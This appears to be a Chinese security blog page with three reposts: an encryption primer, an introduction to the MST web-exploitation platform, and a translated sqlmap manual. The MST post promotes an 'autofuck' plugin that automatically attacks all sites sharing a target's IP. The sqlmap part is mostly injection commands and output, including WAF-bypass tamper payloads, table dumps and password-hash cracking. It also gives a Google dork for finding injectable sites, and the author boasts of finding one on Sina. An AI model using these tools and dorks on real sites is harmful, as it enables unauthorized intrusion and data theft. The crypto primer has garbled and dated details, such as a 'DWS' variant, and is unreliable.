加密算法你了解多少

Posted on

加密算法你了解多少

(转自:http://www.hackhp.com/post-730.html hackhp)

加密算法: 当不同的远程网络通过Internet连接时,网络之间直接通过私有地址进行互访只是需求之一,除此之外,还有个非常重要的需求,那就是数据安全。 所以在穿越Internet的远程之间只实现隧道传输还不够,还必须让数据包加密传输,以保证数据在Internet传输时的安全性。 基于上述原因,在远程网络之间布置VPN除了实现隧道功能之外,还必须在隧道中实现对数据的加密,隧道与加密是VPN不得不同时实现的功能,两者缺一不可,否则就不算是完整的VPN。

目前,加密算法多种多样,加密算法分加密和解密两个过程。 加密是指将明文(直接可以看的懂的)数据换算成密文(无法直接看懂的)数据。 加密算法非常多,曾经最古老,最常用,也是最让人理解的就是替换法

例如: 发送一串文字ABCDEF,要将这些文字变为密文,就将A替换为C,将B替换为D,将C替换为E,将D替换为F,将E替换为G,将F替换为H,最后ABCDEF就使用CDEFGH,而ABCDEF才是明文,是真正的内容,而CDEFGH就是加密后的密文,并不是真正的内容,从加密过程可以看出,明文“ABCDEF”通过将每个字母替换成后面第二个字母的方法被加密城了“CDEFGH”,在这里,将每个字母替换成后面第二个字母的方法可以称为加密方法,也成为加密算法,当内容被加密之后,接收者还必须先将密文解密,才能看懂内容,这里就将密文“CDEFGH”的每个字母替换成前面第二个字母,便得到明文“ABCDEF”。

从上面加密与解密的整个过程中可以发现,对数据进行加密需要使用加密算法,上例中使用的加密算法就是字母替换发,即将每个字母替换成其他字母的方法,知道数据使用什么算法去解密并没关系,

一个人知道数据的加密算法,并不能将密文转变为明文,要对密文进行解密,不仅要知道加密算法,同时还必须知道加密的密钥,也就是密码,在上例中,将每个字谜替换成后面第二个字母就是密钥(密码),如果别人只是知道我们使用的加密算法是字母替换发,但他不知道每个字母具体被替换成了哪个字母,是没办法将密文还原的,所以对数据加密的算法可以被公开,但是机密的密钥一定要保密不能被窃取,否则密文也就变得不安全了,因此,如何保证密钥的安全是相当重要的。

在对称加密算法中,因为解密时使用的密钥与加密时使用是同一个密钥,所以对密钥的保护必须格外的小心,只要密钥在交换或协商时被人窃取,数据就会被破解,显然双方必须使用绝对的方法来交换密钥。

而在非对称加密算法中,因为解密时使用的密钥和加密时使用的密钥不同,任何拥有弓腰的人,都可以对数据进行加密,但只有拥有私钥的人,才能对密文解密,所以公钥可以被公开,可以被任何人知道,只知道公钥只能加密,却不能解密,所以只要保证私钥掌握在自己手中不传递不外泄,就不会有问题;双方在需要加密传输时,各自都把公钥发出去,让对方通过该公钥将数据加密后发给自己,这样就能使任何人都能向自己发送加密数据,但只有自己才能对数据解密。

对称加密算法(私钥算法)

DES(Data Encryption Standard) DES加密共有三种形式,分为DWS(40-bit长度加密),DES(56-bit长度加密)以及3DES(3倍的56-bit长度加密,即168-bit长度加密);由于3DES加密长度够长,安全性够高,所以推荐使用3DES。

AES(Advanced Encryption Standard) AES加密共有三种形式,分为AES 128 (128-bit长度加密),AES 192 (192-bit长度加密)以及AES 256 (256-bit长度加密);由于AES 256加密长度够长,安全性够高,所以推荐使用AES 256。

非对称加密算法(公钥算法)

RSA RSA公钥加密算法的名字是发明者的人名:Rivest,Shamir and Adleman,该算法的长度位数不定,由人手工定义。

在硬件方面,当采用公钥加密算法时,速度明显慢于私钥加密算法,虽然使用公钥加密算法似乎更安全,但通常都使用私钥加密算法,而使用私钥加密算法的终点就是要保证密钥的安全传递与交换,所以该工作就由公钥加密算法来完成,最后的过程就是先使用公钥加密算法安全的交换私钥算法的密钥后,然后再使用私钥算法对数据进行加密,这样即保证了私钥算法的密钥安全,同时又获得了数据加密的速度,两者兼得。

HMAC(Hashed Message Authentication Code) 当数据在传输过程,如果被劫持后修改了数据,通常数据接受者很难发现数据是否在途中被篡改;在正常的数据传输中大家应该知道,每个数据包都会在后面写上一个数据计算后的校验和(Checksum),当数据计算出校验和之后,接受者在收到数据后也需要对数据进行校验和计算,如果发现自己计算的校验和与数据包附带的校验和不同,便认为数据发生了偏移和错误,因此将数据包丢弃和要求重传,在需要保证数据安全中途被篡改时,也引用了校验和的思想,数据在发送之前先计算出相应的Hash值,当接收者收到数据后也要对数据计算Hash值,如果发现自己计算的Hash值与数据附带的值不匹配,便认为数据在传输过程中遭到了篡改,从而拒绝不正确的数据包。

在这里,Hash算法和校验和算法基本上是相同的,Hash算法的特征在于任何大小的数据计算出的Hash值的长度都是一样的,任何数据通过Hash计算后,得到的Hash值都是固定长度的,哪怕几个字的数据,或者是几GByte的数据,计算出的Hash值的长度都是相同的,所以如果仅仅是根据Hash值,是无法推算出数据内容的,只靠Hash值无法想数据内容还原。基于以上Hash的特征,所以Hash多用于认证,认证对等双方相互认证时,只需要交换密码的Hash值即可,而无须交换密码,从而防止了密码被窃取,但仅仅是窃取Hash值,也无法推算出密码是多少。

MD5(Message Digest 5) 将任何数据通过计算后输出128-bit长度的Hash值。

SHA-1(Secure Hash Algorithm 1) 160-bit digest 将任何数据通过计算后输出160-bit长度的Hash值。 来源: [http://www.hackhp.com/post-730.html](http://www.hackhp.com/post-730.html)

国产WEB漏洞测试平台——MST

Posted on

国产WEB漏洞测试平台——MST

Mst是一款Python2.7编写的小漏洞利用平台,可运行在windows | Backtrack | maxosx 等系统,专注于web漏洞的测试和各种利用插件的编写。

不懂怎么介绍,来看下截图吧~

在windows上运行:

Backtrack:(需要注意=>执行请输入命令python2.7 mst.py 你懂的)

MacosX:

好了,这可不光是为了好看的:) 来实例讲解一下使用的基本流程~

/#列出所有的exploit插件 show exploit /#载入插件 use 1 /#设置参数 set rurl www.freebuf.com /#开始攻击 exploit

基本的使用就这样,还有其他的命令可以自己琢磨或者参考使用指南~

除了简单的攻击,还有其他辅助的插件还有后渗透攻击插件

比如要扫描网站的端口,或者扫描网站的cms系统~可以使用multi插件:

还有后渗透攻击插件,目前只写了一个~个人精力有限,你有兴趣也可以参考插件编写指南~~~

还有更有趣的~就是自动攻击了 =.=

我们先用sameIP_web[chinaz]这个插件查询要扫描的目标的同IP站点,会自动保存到output/目录下~(各种要扫描的ip列表之类的也需要放到这个目录)

然后

load autofuck 输入要自动攻击的设置(插件需要的设置是什么就是什么) 比如: rurl 然后选择要攻击的目标的列表文件,(直接输入前面的ID) 然后直接回车即可~~ (图片竟然上传不了了~~)

具体的各位有兴趣就自己慢慢了解了~~现在是测试版本,还有很多bug和不足,还望有兴趣的,可以编写属于自己的插件,然后在网站提交一起分享 :) :)

MST 目前的“官网”:http://mstoor.duapp.com

(各种插件的提交更新使用都在这里~)

下载地址:http://mstoor.duapp.com/?do=download

sqlmap用户手册

Posted on

sqlmap用户手册

2013/06/13 18:45 | 瞌睡龙

http://192.168.136.131/sqlmap/mysql/get_int.php?id=1

当给sqlmap这么一个url的时候,它会: 1、判断可注入的参数 2、判断可以用那种SQL注入技术来注入 3、识别出哪种数据库 4、根据用户选择,读取哪些数据

sqlmap支持五种不同的注入模式: 1、基于布尔的盲注,即可以根据返回页面判断条件真假的注入。 2、基于时间的盲注,即不能根据页面返回内容判断任何信息,用条件语句查看时间延迟语句是否执行(即页面返回时间是否增加)来判断。 3、基于报错注入,即页面会返回错误信息,或者把注入的语句的结果直接返回在页面中。 4、联合查询注入,可以使用union的情况下的注入。 5、堆查询注入,可以同时执行多条语句的执行时的注入。

sqlmap支持的数据库有:

MySQL, Oracle, PostgreSQL, Microsoft SQL Server, Microsoft Access, IBM DB2, SQLite, Firebird, Sybase和SAP MaxDB

可以提供一个简单的URL,Burp或WebScarab请求日志文件,文本文档中的完整http请求或者Google的搜索,匹配出结果页面,也可以自己定义一个正则来判断那个地址去测试。

测试GET参数,POST参数,HTTP Cookie参数,HTTP User-Agent头和HTTP Referer头来确认是否有SQL注入,它也可以指定用逗号分隔的列表的具体参数来测试。

可以设定HTTP(S)请求的并发数,来提高盲注时的效率。

Youtube上有人做的使用sqlmap的视频:

http://www.youtube.com/user/inquisb/videos

http://www.youtube.com/user/stamparm/videos

使用sqlmap的实例文章:

http://unconciousmind.blogspot.com/search/label/sqlmap

可以点击https://github.com/sqlmapproject/sqlmap/tarball/master下载最新版本sqlmap。

也可以使用git来获取sqlmap git clone https://github.com/sqlmapproject/sqlmap.git sqlmap-dev

之后可以直接使用命令来更新

python sqlmap.py --update

或者

git pull

更新sqlmap

如果你想观察sqlmap对一个点是进行了怎样的尝试判断以及读取数据的,可以使用-v参数。

共有七个等级,默认为1: 0、只显示python错误以及严重的信息。 1、同时显示基本信息和警告信息。(默认) 2、同时显示debug信息。 3、同时显示注入的payload。 4、同时显示HTTP请求。 5、同时显示HTTP响应头。 6、同时显示HTTP响应页面。

如果你想看到sqlmap发送的测试payload最好的等级就是3。

获取目标方式

目标URL

参数:-u或者--url

格式:

http(s)://targeturl[:port]/[…]

例如:

python sqlmap.py -u "http://www.target.com/vuln.php?id=1" -f --banner --dbs --users

从Burp或者WebScarab代理中获取日志

参数:-l

可以直接吧Burp proxy或者WebScarab proxy中的日志直接倒出来交给sqlmap来一个一个检测是否有注入。

从文本中获取多个目标扫描

参数:-m

文件中保存url格式如下,sqlmap会一个一个检测 www.target1.com/vuln1.php?q=foobar www.target2.com/vuln2.asp?id=1 www.target3.com/vuln3/id/1/*

从文件中加载HTTP请求

参数:-r

sqlmap可以从一个文本文件中获取HTTP请求,这样就可以跳过设置一些其他参数(比如cookie,POST数据,等等)。

比如文本文件内如下: POST /vuln.php HTTP/1.1 Host: www.target.com User-Agent: Mozilla/4.0 id=1

当请求是HTTPS的时候你需要配合这个--force-ssl参数来使用,或者你可以在Host头后门加上:443

处理Google的搜索结果

参数:-g

sqlmap可以测试注入Google的搜索结果中的GET参数(只获取前100个结果)。

例子: python sqlmap.py -g "inurl:\".php?id=1\""

(很牛B的功能,测试了一下,第十几个就找到新浪的一个注入点)

此外可以使用-c参数加载sqlmap.conf文件里面的相关配置。

请求

http数据

参数:--data

此参数是把数据以POST方式提交,sqlmap会像检测GET参数一样检测POST的参数。

例子: python sqlmap.py -u "http://www.target.com/vuln.php" --data="id=1" -f --banner --dbs --users

参数拆分字符

参数:--param-del

当GET或POST的数据需要用其他字符分割测试参数的时候需要用到此参数。

例子: python sqlmap.py -u "http://www.target.com/vuln.php" --data="query=foobar;id=1" --param-del=";" -f --banner --dbs --users

参数:--cookie,--load-cookies,--drop-set-cookie

这个参数在以下两个方面很有用:

1、web应用需要登陆的时候。

2、你想要在这些头参数中测试SQL注入时。

可以通过抓包把cookie获取到,复制出来,然后加到--cookie参数里。

在HTTP请求中,遇到Set-Cookie的话,sqlmap会自动获取并且在以后的请求中加入,并且会尝试SQL注入。

如果你不想接受Set-Cookie可以使用--drop-set-cookie参数来拒接。

当你使用--cookie参数时,当返回一个Set-Cookie头的时候,sqlmap会询问你用哪个cookie来继续接下来的请求。当--level的参数设定为2或者2以上的时候,sqlmap会尝试注入Cookie参数。

HTTP User-Agent头

参数:--user-agent,--random-agent

默认情况下sqlmap的HTTP请求头中User-Agent值是: sqlmap/1.0-dev-xxxxxxx (http://sqlmap.org)

可以使用--user-anget参数来修改,同时也可以使用--random-agnet参数来随机的从./txt/user-agents.txt中获取。

当--level参数设定为3或者3以上的时候,会尝试对User-Angent进行注入。

HTTP Referer头

参数:--referer

sqlmap可以在请求中伪造HTTP中的referer,当--level参数设定为3或者3以上的时候会尝试对referer注入。

额外的HTTP头

参数:--headers

可以通过--headers参数来增加额外的http头

HTTP认证保护

参数:--auth-type,--auth-cred

这些参数可以用来登陆HTTP的认证保护支持三种方式:

1、Basic

2、Digest

3、NTLM

例子: python sqlmap.py -u "http://192.168.136.131/sqlmap/mysql/basic/get_int.php?id=1" --auth-type Basic --auth-cred "testuser:testpass"

HTTP协议的证书认证

参数:--auth-cert

当Web服务器需要客户端证书进行身份验证时,需要提供两个文件:key_file,cert_file。

key_file是格式为PEM文件,包含着你的私钥,cert_file是格式为PEM的连接文件。

HTTP(S)代理

参数:--proxy,--proxy-cred和--ignore-proxy

使用--proxy代理是格式为:http://url:port。

当HTTP(S)代理需要认证是可以使用--proxy-cred参数:username:password。

--ignore-proxy拒绝使用本地局域网的HTTP(S)代理。

HTTP请求延迟

参数:--delay

可以设定两个HTTP(S)请求间的延迟,设定为0.5的时候是半秒,默认是没有延迟的。

设定超时时间

参数:--timeout

可以设定一个HTTP(S)请求超过多久判定为超时,10.5表示10.5秒,默认是30秒。

设定重试超时

参数:--retries

当HTTP(S)超时时,可以设定重新尝试连接次数,默认是3次。

设定随机改变的参数值

参数:--randomize

可以设定某一个参数值在每一次请求中随机的变化,长度和类型会与提供的初始值一样。

利用正则过滤目标网址

参数:--scope

例如: python sqlmap.py -l burp.log --scope="(www)?.target.(com|net|org)"

避免过多的错误请求被屏蔽

参数:--safe-url,--safe-freq

有的web应用程序会在你多次访问错误的请求时屏蔽掉你以后的所有请求,这样在sqlmap进行探测或者注入的时候可能造成错误请求而触发这个策略,导致以后无法进行。

绕过这个策略有两种方式: 1、--safe-url:提供一个安全不错误的连接,每隔一段时间都会去访问一下。 2、--safe-freq:提供一个安全不错误的连接,每次测试请求之后都会再访问一边安全连接。

关掉URL参数值编码

参数:--skip-urlencode

根据参数位置,他的值默认将会被URL编码,但是有些时候后端的web服务器不遵守RFC标准,只接受不经过URL编码的值,这时候就需要用--skip-urlencode参数。

每次请求时候执行自定义的python代码

参数:--eval

在有些时候,需要根据某个参数的变化,而修改另个一参数,才能形成正常的请求,这时可以用--eval参数在每次请求时根据所写python代码做完修改后请求。

例子: python sqlmap.py -u "http://www.target.com/vuln.php?id=1&hash=c4ca4238a0b923820dcc509a6f75849b" --eval="import hashlib;hash=hashlib.md5(id).hexdigest()"

上面的请求就是每次请求时根据id参数值,做一次md5后作为hash参数的值。

注入

测试参数

参数:-p,--skip

sqlmap默认测试所有的GET和POST参数,当--level的值大于等于2的时候也会测试HTTP Cookie头的值,当大于等于3的时候也会测试User-Agent和HTTP Referer头的值。但是你可以手动用-p参数设置想要测试的参数。例如: -p "id,user-anget"

当你使用--level的值很大但是有个别参数不想测试的时候可以使用--skip参数。

例如:--skip="user-angent.referer"

在有些时候web服务器使用了URL重写,导致无法直接使用sqlmap测试参数,可以在想测试的参数后面加/*

例如: python sqlmap.py -u "http://targeturl/param1/value1/*/param2/value2/"

sqlmap将会测试value1的位置是否可注入。

指定数据库

参数:--dbms

默认情况系sqlmap会自动的探测web应用后端的数据库是什么,sqlmap支持的数据库有: MySQL、Oracle、PostgreSQL、Microsoft SQL Server、Microsoft Access、SQLite、Firebird、Sybase、SAP MaxDB、DB2

指定数据库服务器系统

参数:--os

默认情况下sqlmap会自动的探测数据库服务器系统,支持的系统有:Linux、Windows。

指定无效的大数字

参数:--invalid-bignum

当你想指定一个报错的数值时,可以使用这个参数,例如默认情况系id=13,sqlmap会变成id=-13来报错,你可以指定比如id=9999999来报错。

只定无效的逻辑

参数:--invalid-logical

原因同上,可以指定id=13把原来的id=-13的报错改成id=13 AND 18=19。

注入payload

参数:--prefix,--suffix

在有些环境中,需要在注入的payload的前面或者后面加一些字符,来保证payload的正常执行。

例如,代码中是这样调用数据库的: $query = "SELECT /* FROM users WHERE id=(’" . $_GET[’id’] . "’) LIMIT 0, 1";

这时你就需要--prefix和--suffix参数了:

python sqlmap.py -u "http://192.168.136.131/sqlmap/mysql/get_str_brackets.php?id=1" -p id --prefix "’)" --suffix "AND (’abc’=’abc"

这样执行的SQL语句变成:

$query = "SELECT /* FROM users WHERE id=(’1’) AND (’abc’=’abc’) LIMIT 0, 1";

修改注入的数据

参数:--tamper

sqlmap除了使用CHAR()函数来防止出现单引号之外没有对注入的数据修改,你可以使用--tamper参数对数据做修改来绕过WAF等设备。

下面是一个tamper脚本的格式: /# Needed imports from lib.core.enums import PRIORITY /# Define which is the order of application of tamper scripts against /# the payload priority = PRIORITY.NORMAL def tamper(payload): ''' Description of your tamper script ''' retVal = payload /# your code to tamper the original payload /# return the tampered payload return retVal

可以查看 tamper/ 目录下的有哪些可用的脚本

例如: $ python sqlmap.py -u "http://192.168.136.131/sqlmap/mysql/get_int.php?id=1" --tamper tamper/between.py,tamper/randomcase.py,tamper/space2comment.py -v 3 [hh:mm:03] [DEBUG] cleaning up configuration parameters [hh:mm:03] [INFO] loading tamper script 'between' [hh:mm:03] [INFO] loading tamper script 'randomcase' [hh:mm:03] [INFO] loading tamper script 'space2comment' [...] [hh:mm:04] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause' [hh:mm:04] [PAYLOAD] 1)////And////1369=7706////And////(4092=4092 [hh:mm:04] [PAYLOAD] 1)////AND////9267=9267////AND////(4057=4057 [hh:mm:04] [PAYLOAD] 1////AnD////950=7041 [...] [hh:mm:04] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE or HAVING clause' [hh:mm:04] [PAYLOAD] 1////anD////(SELeCt////9921////fROm(SELeCt////counT(/),CONCAT(cHar( 58,117,113,107,58),(SELeCt////(case////whEN////(9921=9921)////THeN////1////elsE////0//// ENd)),cHar(58,106,104,104,58),FLOOR(RanD(0)/2))x////fROm////information_schema.tables//// group////bY////x)a) [hh:mm:04] [INFO] GET parameter 'id' is 'MySQL >= 5.0 AND error-based - WHERE or HAVING clause' injectable [...]

探测

探测等级

参数:--level

共有五个等级,默认为1,sqlmap使用的payload可以在xml/payloads.xml中看到,你也可以根据相应的格式添加自己的payload。

这个参数不仅影响使用哪些payload同时也会影响测试的注入点,GET和POST的数据都会测试,HTTP Cookie在level为2的时候就会测试,HTTP User-Agent/Referer头在level为3的时候就会测试。

总之在你不确定哪个payload或者参数为注入点的时候,为了保证全面性,建议使用高的level值。

风险等级

参数:--risk

共有四个风险等级,默认是1会测试大部分的测试语句,2会增加基于事件的测试语句,3会增加OR语句的SQL注入测试。

在有些时候,例如在UPDATE的语句中,注入一个OR的测试语句,可能导致更新的整个表,可能造成很大的风险。

测试的语句同样可以在xml/payloads.xml中找到,你也可以自行添加payload。

页面比较

参数:--string,--not-string,--regexp,--code

默认情况下sqlmap通过判断返回页面的不同来判断真假,但有时候这会产生误差,因为有的页面在每次刷新的时候都会返回不同的代码,比如页面当中包含一个动态的广告或者其他内容,这会导致sqlmap的误判。此时用户可以提供一个字符串或者一段正则匹配,在原始页面与真条件下的页面都存在的字符串,而错误页面中不存在(使用--string参数添加字符串,--regexp添加正则),同时用户可以提供一段字符串在原始页面与真条件下的页面都不存在的字符串,而错误页面中存在的字符串(--not-string添加)。用户也可以提供真与假条件返回的HTTP状态码不一样来注入,例如,响应200的时候为真,响应401的时候为假,可以添加参数--code=200。

参数:--text-only,--titles

有些时候用户知道真条件下的返回页面与假条件下返回页面是不同位置在哪里可以使用--text-only(HTTP响应体中不同)--titles(HTML的title标签中不同)。

注入技术

测试是否是注入

参数:--technique

这个参数可以指定sqlmap使用的探测技术,默认情况下会测试所有的方式。

支持的探测方式如下: B: Boolean-based blind SQL injection(布尔型注入) E: Error-based SQL injection(报错型注入) U: UNION query SQL injection(可联合查询注入) S: Stacked queries SQL injection(可多语句查询注入) T: Time-based blind SQL injection(基于时间延迟注入)

设定延迟注入的时间

参数:--time-sec

当使用继续时间的盲注时,时刻使用--time-sec参数设定延时时间,默认是5秒。

设定UNION查询字段数

参数:--union-cols

默认情况下sqlmap测试UNION查询注入会测试1-10个字段数,当--level为5的时候他会增加测试到50个字段数。设定--union-cols的值应该是一段整数,如:12-16,是测试12-16个字段数。

设定UNION查询使用的字符

参数:--union-char

默认情况下sqlmap针对UNION查询的注入会使用NULL字符,但是有些情况下会造成页面返回失败,而一个随机整数是成功的,这是你可以用--union-char只定UNION查询的字符。

二阶SQL注入

参数:--second-order

有些时候注入点输入的数据看返回结果的时候并不是当前的页面,而是另外的一个页面,这时候就需要你指定到哪个页面获取响应判断真假。--second-order后门跟一个判断页面的URL地址。

列数据

标志

参数:-b,--banner

大多数的数据库系统都有一个函数可以返回数据库的版本号,通常这个函数是version()或者变量@@version这主要取决与是什么数据库。

用户

参数:-current-user

在大多数据库中可以获取到管理数据的用户。

当前数据库

参数:--current-db

返还当前连接的数据库。

当前用户是否为管理用

参数:--is-dba

判断当前的用户是否为管理,是的话会返回True。

列数据库管理用户

参数:--users

当前用户有权限读取包含所有用户的表的权限时,就可以列出所有管理用户。

列出并破解数据库用户的hash

参数:--passwords

当前用户有权限读取包含用户密码的彪的权限时,sqlmap会现列举出用户,然后列出hash,并尝试破解。

例子: $ python sqlmap.py -u "http://192.168.136.131/sqlmap/pgsql/get_int.php?id=1" --passwords -v 1 [...] back-end DBMS: PostgreSQL [hh:mm:38] [INFO] fetching database users password hashes do you want to use dictionary attack on retrieved password hashes? [Y/n/q] y [hh:mm:42] [INFO] using hash method: 'postgres_passwd' what's the dictionary's location? [/software/sqlmap/txt/wordlist.txt] [hh:mm:46] [INFO] loading dictionary from: '/software/sqlmap/txt/wordlist.txt' do you want to use common password suffixes? (slow!) [y/N] n [hh:mm:48] [INFO] starting dictionary attack (postgres_passwd) [hh:mm:49] [INFO] found: 'testpass' for user: 'testuser' [hh:mm:50] [INFO] found: 'testpass' for user: 'postgres' database management system users password hashes: [/] postgres [1]: password hash: md5d7d880f96044b72d0bba108ace96d1e4 clear-text password: testpass [/] testuser [1]: password hash: md599e5ea7a6f7c3269995cba3927fd0093 clear-text password: testpass

可以看到sqlmap不仅勒出数据库的用户跟密码,同时也识别出是PostgreSQL数据库,并询问用户是否采用字典爆破的方式进行破解,这个爆破已经支持Oracle和Microsoft SQL Server。

也可以提供-U参数来指定爆破哪个用户的hash。

列出数据库管理员权限

参数:--privileges

当前用户有权限读取包含所有用户的表的权限时,很可能列举出每个用户的权限,sqlmap将会告诉你哪个是数据库的超级管理员。也可以用-U参数指定你想看哪个用户的权限。

列出数据库管理员角色

参数:--roles

当前用户有权限读取包含所有用户的表的权限时,很可能列举出每个用户的角色,也可以用-U参数指定你想看哪个用户的角色。

仅适用于当前数据库是Oracle的时候。

列出数据库系统的数据库

参数:--dbs

当前用户有权限读取包含所有数据库列表信息的表中的时候,即可列出所有的数据库。

列举数据库表

参数:--tables,--exclude-sysdbs,-D

当前用户有权限读取包含所有数据库表信息的表中的时候,即可列出一个特定数据的所有表。

如果你不提供-D参数来列指定的一个数据的时候,sqlmap会列出数据库所有库的所有表。

--exclude-sysdbs参数是指包含了所有的系统数据库。

需要注意的是在Oracle中你需要提供的是TABLESPACE_NAME而不是数据库名称。

列举数据库表中的字段

参数:--columns,-C,-T,-D

当前用户有权限读取包含所有数据库表信息的表中的时候,即可列出指定数据库表中的字段,同时也会列出字段的数据类型。

如果没有使用-D参数指定数据库时,默认会使用当前数据库。

列举一个SQLite的例子: $ python sqlmap.py -u "http://192.168.136.131/sqlmap/sqlite/get_int.php?id=1" --columns -D testdb -T users -C name [...] Database: SQLite_masterdb Table: users [3 columns] +---------+---------+ | Column | Type | +---------+---------+ | id | INTEGER | | name | TEXT | | surname | TEXT | +---------+---------+

列举数据库系统的架构

参数:--schema,--exclude-sysdbs

用户可以用此参数获取数据库的架构,包含所有的数据库,表和字段,以及各自的类型。

加上--exclude-sysdbs参数,将不会获取数据库自带的系统库内容。

MySQL例子: $ python sqlmap.py -u "http://192.168.48.130/sqlmap/mysql/get_int.php?id=1" --schema --batch --exclude-sysdbs [...] Database: owasp10 Table: accounts [4 columns] +-------------+---------+ | Column | Type | +-------------+---------+ | cid | int(11) | | mysignature | text | | password | text | | username | text | +-------------+---------+ Database: owasp10 Table: blogs_table [4 columns] +--------------+----------+ | Column | Type | +--------------+----------+ | date | datetime | | blogger_name | text | | cid | int(11) | | comment | text | +--------------+----------+ Database: owasp10 Table: hitlog [6 columns] +----------+----------+ | Column | Type | +----------+----------+ | date | datetime | | browser | text | | cid | int(11) | | hostname | text | | ip | text | | referer | text | +----------+----------+ Database: testdb Table: users [3 columns] +---------+---------------+ | Column | Type | +---------+---------------+ | id | int(11) | | name | varchar(500) | | surname | varchar(1000) | +---------+---------------+ [...]

获取表中数据个数

参数:--count

有时候用户只想获取表中的数据个数而不是具体的内容,那么就可以使用这个参数。

列举一个Microsoft SQL Server例子: $ python sqlmap.py -u "http://192.168.21.129/sqlmap/mssql/iis/get_int.asp?id=1" --count -D testdb [...] Database: testdb +----------------+---------+ | Table | Entries | +----------------+---------+ | dbo.users | 4 | | dbo.users_blob | 2 | +----------------+---------+

获取整个表的数据

参数:--dump,-C,-T,-D,--start,--stop,--first,--last

如果当前管理员有权限读取数据库其中的一个表的话,那么就能获取真个表的所有内容。

使用-D,-T参数指定想要获取哪个库的哪个表,不适用-D参数时,默认使用当前库。

列举一个Firebird的例子: $ python sqlmap.py -u "http://192.168.136.131/sqlmap/firebird/get_int.php?id=1" --dump -T users [...] Database: Firebird_masterdb Table: USERS [4 entries] +----+--------+------------+ | ID | NAME | SURNAME | +----+--------+------------+ | 1 | luther | blisset | | 2 | fluffy | bunny | | 3 | wu | ming | | 4 | NULL | nameisnull | +----+--------+------------+

可以获取指定库中的所有表的内容,只用-dump跟-D参数(不使用-T与-C参数)。

也可以用-dump跟-C获取指定的字段内容。

sqlmap为每个表生成了一个CSV文件。

如果你只想获取一段数据,可以使用--start和--stop参数,例如,你只想获取第一段数据可hi使用--stop 1,如果想获取第二段与第三段数据,使用参数 --start 1 --stop 3。

也可以用--first与--last参数,获取第几个字符到第几个字符的内容,如果你想获取字段中地三个字符到第五个字符的内容,使用--first 3 --last 5,只在盲注的时候使用,因为其他方式可以准确的获取注入内容,不需要一个字符一个字符的猜解。

获取所有数据库表的内容

参数:--dump-all,--exclude-sysdbs

使用--dump-all参数获取所有数据库表的内容,可同时加上--exclude-sysdbs只获取用户数据库的表,需要注意在Microsoft SQL Server中master数据库没有考虑成为一个系统数据库,因为有的管理员会把他当初用户数据库一样来使用它。

搜索字段,表,数据库

参数:--search,-C,-T,-D

--search可以用来寻找特定的数据库名,所有数据库中的特定表名,所有数据库表中的特定字段。

可以在一下三种情况下使用: -C后跟着用逗号分割的列名,将会在所有数据库表中搜索指定的列名。 -T后跟着用逗号分割的表名,将会在所有数据库中搜索指定的表名 -D后跟着用逗号分割的库名,将会在所有数据库中搜索指定的库名。

运行自定义的SQL语句

参数:--sql-query,--sql-shell

sqlmap会自动检测确定使用哪种SQL注入技术,如何插入检索语句。

如果是SELECT查询语句,sqlap将会输出结果。如果是通过SQL注入执行其他语句,需要测试是否支持多语句执行SQL语句。

列举一个Mircrosoft SQL Server 2000的例子: $ python sqlmap.py -u "http://192.168.136.131/sqlmap/mssql/get_int.php?id=1" --sql-query "SELECT 'foo'" -v 1 [...] [hh:mm:14] [INFO] fetching SQL SELECT query output: 'SELECT 'foo'' [hh:mm:14] [INFO] retrieved: foo SELECT 'foo': 'foo' $ python sqlmap.py -u "http://192.168.136.131/sqlmap/mssql/get_int.php?id=1" --sql-query "SELECT 'foo', 'bar'" -v 2 [...] [hh:mm:50] [INFO] fetching SQL SELECT query output: 'SELECT 'foo', 'bar'' [hh:mm:50] [INFO] the SQL query provided has more than a field. sqlmap will now unpack it into distinct queries to be able to retrieve the output even if we are going blind [hh:mm:50] [DEBUG] query: SELECT ISNULL(CAST((CHAR(102)+CHAR(111)+CHAR(111)) AS VARCHAR(8000)), (CHAR(32))) [hh:mm:50] [INFO] retrieved: foo [hh:mm:50] [DEBUG] performed 27 queries in 0 seconds [hh:mm:50] [DEBUG] query: SELECT ISNULL(CAST((CHAR(98)+CHAR(97)+CHAR(114)) AS VARCHAR(8000)), (CHAR(32))) [hh:mm:50] [INFO] retrieved: bar [hh:mm:50] [DEBUG] performed 27 queries in 0 seconds SELECT 'foo', 'bar': 'foo, bar'

爆破

暴力破解表名

参数:--common-tables

当使用--tables无法获取到数据库的表时,可以使用此参数。

通常是如下情况: 1、MySQL数据库版本小于5.0,没有information_schema表。 2、数据库是Microssoft Access,系统表MSysObjects是不可读的(默认)。 3、当前用户没有权限读取系统中保存数据结构的表的权限。

暴力破解的表在txt/common-tables.txt文件中,你可以自己添加。

列举一个MySQL 4.1的例子: $ python sqlmap.py -u "http://192.168.136.129/mysql/get_int_4.php?id=1" --common-tables -D testdb --banner [...] [hh:mm:39] [INFO] testing MySQL [hh:mm:39] [INFO] confirming MySQL [hh:mm:40] [INFO] the back-end DBMS is MySQL [hh:mm:40] [INFO] fetching banner web server operating system: Windows web application technology: PHP 5.3.1, Apache 2.2.14 back-end DBMS operating system: Windows back-end DBMS: MySQL < 5.0.0 banner: '4.1.21-community-nt' [hh:mm:40] [INFO] checking table existence using items from '/software/sqlmap/txt/common-tables.txt' [hh:mm:40] [INFO] adding words used on web page to the check list please enter number of threads? [Enter for 1 (current)] 8 [hh:mm:43] [INFO] retrieved: users Database: testdb [1 table] +-------+ | users | +-------+

暴力破解列名

参数:--common-columns

与暴力破解表名一样,暴力跑的列名在txt/common-columns.txt中。

用户自定义函数注入

参数:--udf-inject,--shared-lib

你可以通过编译MySQL注入你自定义的函数(UDFs)或PostgreSQL在windows中共享库,DLL,或者Linux/Unix中共享对象,sqlmap将会问你一些问题,上传到服务器数据库自定义函数,然后根据你的选择执行他们,当你注入完成后,sqlmap将会移除它们。

系统文件操作

从数据库服务器中读取文件

参数:--file-read

当数据库为MySQL,PostgreSQL或Microsoft SQL Server,并且当前用户有权限使用特定的函数。读取的文件可以是文本也可以是二进制文件。

